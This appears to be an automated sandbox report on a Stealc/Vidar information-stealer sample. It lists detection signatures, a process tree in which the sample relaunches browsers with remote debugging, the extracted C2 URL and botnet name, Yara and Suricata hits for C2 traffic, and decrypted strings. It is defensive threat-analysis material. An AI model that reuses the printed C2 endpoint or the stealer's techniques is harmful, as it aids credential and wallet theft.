Edit tour

Windows Analysis Report
vMRlWtVCEN.exe

Overview

General Information

Sample name:	vMRlWtVCEN.exe renamed because original name is a hash value
Original sample name:	1c49165308a01047a7991781aa319842.exe
Analysis ID:	1551373
MD5:	1c49165308a01047a7991781aa319842
SHA1:	a3958d1eede02192d83e0a0b9abaafc4e9ee00b2
SHA256:	6c22ef093091ac0f66d3cccf5f29ab2e32abc63f816d430972a6b2e1c2dcca32
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

vMRlWtVCEN.exe (PID: 7160 cmdline: "C:\Users\user\Desktop\vMRlWtVCEN.exe" MD5: 1C49165308A01047A7991781AA319842)

chrome.exe (PID: 6064 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 2248 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=2044,i,2454326422221536204,14850792707381476085,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7664 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7936 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2708 --field-trial-handle=2508,i,6486104539122156540,8403373677948389866,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

WerFault.exe (PID: 8760 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7160 -s 2340 MD5: C31336C1EFC2CCB44B4326EA793040F2)

msedge.exe (PID: 7944 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7348 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 3532 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5380 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 7012 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5380 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 4020 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7124 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 5800 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7272 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 9096 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6592 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://95.215.204.182/4d3324bde875e159.php", "Botnet": "LogsDiller"}

Threatname: Vidar

{"C2 url": "http://95.215.204.182/4d3324bde875e159.php", "Botnet": "LogsDiller"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2745630748.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2745630748.0000000002EDF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2745630748.0000000002EDF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2234993368.0000000004910000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2745804809.0000000004830000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2745804809.0000000004830000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2745485336.0000000002E69000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1640:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
Process Memory Space: vMRlWtVCEN.exe PID: 7160	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: vMRlWtVCEN.exe PID: 7160	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: vMRlWtVCEN.exe PID: 7160	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: vMRlWtVCEN.exe PID: 7160	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.vMRlWtVCEN.exe.4830e67.2.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.3.vMRlWtVCEN.exe.4910000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.vMRlWtVCEN.exe.4830e67.2.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.vMRlWtVCEN.exe.400000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.vMRlWtVCEN.exe.400000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\vMRlWtVCEN.exe", ParentImage: C:\Users\user\Desktop\vMRlWtVCEN.exe, ParentProcessId: 7160, ParentProcessName: vMRlWtVCEN.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6064, ProcessName: chrome.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T17:25:24.162501+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.6	49776	TCP
2024-11-07T17:26:03.547147+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.6	50062	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T17:25:11.634060+0100	2044245	1	Malware Command and Control Activity Detected	95.215.204.182	80	192.168.2.6	49715	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T17:25:11.627448+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49715	95.215.204.182	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T17:25:11.875842+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49715	95.215.204.182	80	TCP

ET MALWARE Win32/Stealc Submitting Screenshot to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T17:25:52.143799+0100	2044249	1	Malware Command and Control Activity Detected	192.168.2.6	49911	95.215.204.182	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T17:25:12.651113+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49715	95.215.204.182	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T17:25:11.883194+0100	2044247	1	Malware Command and Control Activity Detected	95.215.204.182	80	192.168.2.6	49715	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T17:25:11.379162+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49715	95.215.204.182	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-07T17:25:14.179875+0100	2803304	3	Unknown Traffic	192.168.2.6	49715	95.215.204.182	80	TCP
2024-11-07T17:25:41.141352+0100	2803304	3	Unknown Traffic	192.168.2.6	49911	95.215.204.182	80	TCP
2024-11-07T17:25:44.378053+0100	2803304	3	Unknown Traffic	192.168.2.6	49911	95.215.204.182	80	TCP
2024-11-07T17:25:45.974454+0100	2803304	3	Unknown Traffic	192.168.2.6	49911	95.215.204.182	80	TCP
2024-11-07T17:25:46.964683+0100	2803304	3	Unknown Traffic	192.168.2.6	49911	95.215.204.182	80	TCP
2024-11-07T17:25:49.225697+0100	2803304	3	Unknown Traffic	192.168.2.6	49911	95.215.204.182	80	TCP
2024-11-07T17:25:49.889686+0100	2803304	3	Unknown Traffic	192.168.2.6	49911	95.215.204.182	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000003.2234993368.0000000004910000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://95.215.204.182/4d3324bde875e159.php", "Botnet": "LogsDiller"}
Source: 00000000.00000003.2234993368.0000000004910000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "http://95.215.204.182/4d3324bde875e159.php", "Botnet": "LogsDiller"}

Multi AV Scanner detection for submitted file

Source: vMRlWtVCEN.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: vMRlWtVCEN.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: 22
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: 11
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: 20
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: 24
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetProcAddress
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: LoadLibraryA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: lstrcatA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: OpenEventA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: CreateEventA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: CloseHandle
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Sleep
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetUserDefaultLangID
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: VirtualAllocExNuma
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: VirtualFree
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetSystemInfo
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: VirtualAlloc
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: HeapAlloc
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetComputerNameA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: lstrcpyA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetProcessHeap
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetCurrentProcess
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: lstrlenA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: ExitProcess
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetSystemTime
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: SystemTimeToFileTime
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: advapi32.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: gdi32.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: user32.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: crypt32.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: ntdll.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetUserNameA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: CreateDCA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetDeviceCaps
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: ReleaseDC
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: CryptStringToBinaryA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: sscanf
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: VMwareVMware
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: HAL9TH
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: JohnDoe
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: DISPLAY
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: %hu/%hu/%hu
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: http://95.215.204.182
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: gjtwvm
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: /4d3324bde875e159.php
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: /dcace648038981df/
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: LogsDiller
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetFileAttributesA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GlobalLock
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: HeapFree
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetFileSize
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GlobalSize
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: IsWow64Process
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Process32Next
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetLocalTime
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: FreeLibrary
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetTimeZoneInformation
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetSystemPowerStatus
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetVolumeInformationA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: Process32First
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetLocaleInfoA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetModuleFileNameA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: DeleteFileA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: FindNextFileA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: LocalFree
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: FindClose
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: LocalAlloc
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetFileSizeEx
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: ReadFile
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: SetFilePointer
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: WriteFile
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: CreateFileA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: FindFirstFileA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: CopyFileA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: VirtualProtect
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetLastError
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: lstrcpynA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: MultiByteToWideChar
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GlobalFree
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: WideCharToMultiByte
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GlobalAlloc
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: OpenProcess
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: TerminateProcess
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetCurrentProcessId
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: gdiplus.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: ole32.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: bcrypt.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: wininet.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: shlwapi.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: shell32.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: psapi.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: rstrtmgr.dll
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: SelectObject
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: BitBlt
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: DeleteObject
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: CreateCompatibleDC
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GdipGetImageEncoders
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GdiplusStartup
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GdiplusShutdown
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GdipSaveImageToStream
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GdipDisposeImage
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GdipFree
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetHGlobalFromStream
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: CoUninitialize
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: CoInitialize
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: CoCreateInstance
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: BCryptDecrypt
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: BCryptSetProperty
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: BCryptDestroyKey
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetWindowRect
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetDesktopWindow
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: GetDC
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: CloseWindow
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: wsprintfA
Source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack	String decryptor: EnumDisplayDevicesA
